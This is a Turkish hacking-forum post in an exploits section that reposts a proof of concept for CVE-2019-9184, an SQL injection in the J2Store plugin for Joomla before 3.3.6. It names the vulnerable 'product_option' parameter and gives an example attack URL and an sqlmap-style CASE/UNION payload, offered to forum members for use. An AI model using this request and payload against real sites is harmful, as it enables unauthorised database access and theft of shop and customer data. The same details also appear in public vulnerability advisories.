Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


J2Store Plugin for Joomla! < 3.3.6 - SQL Injection

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 28-02-2019 19:23   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Nereden
Ludas.py
Yaş
19
Mesajlar
Konular

Teşekkür (Etti): 26
Teşekkür (Aldı): 36


J2Store Plugin for Joomla! < 3.3.6 - SQL Injection



# Exploit başlığı: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection

# Tarih: 19/02/2019

# Yazar: Andrei Conache

# Twitter: @andrei_conache

# Contact: andrei.conache[at]protonmail.com

# Yazılım linki: https://www.j2store.org

# Versiyon: 3.x-3.3.6

# Tested on: Linux

#CVE: CVE-2019-9184





1. Açıklama:
J2Store Joomla için en popüler alışveriş/e-ticaret uzantısıdır. Bulunan SQL enjeksiyonu, herhangi bir ziyaretçinin rasgele sorguları web sitesinde çalştırmasına izn verir.









2. Proof of Concept (PoC):

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)

- Example: [URL]/index.php?option=com_j2store&view=product&task=upd ate&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com _j2store&ajax=0&_=XXXXXXXXXX

- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862% 20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20U NION%20SELECT%205348%20FROM%20DUAL%29%20END%29



Exploit : https://www.exploit-db.com/exploits/46467



___________________________________________


|~ Yalnızlık olsun istediğin, uzaya mahkum ederim. ~|

Telegram ⋟ @Ludas_THT

|~ Vaktimiz doldu, artık gözlerin kapalı. ~|
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau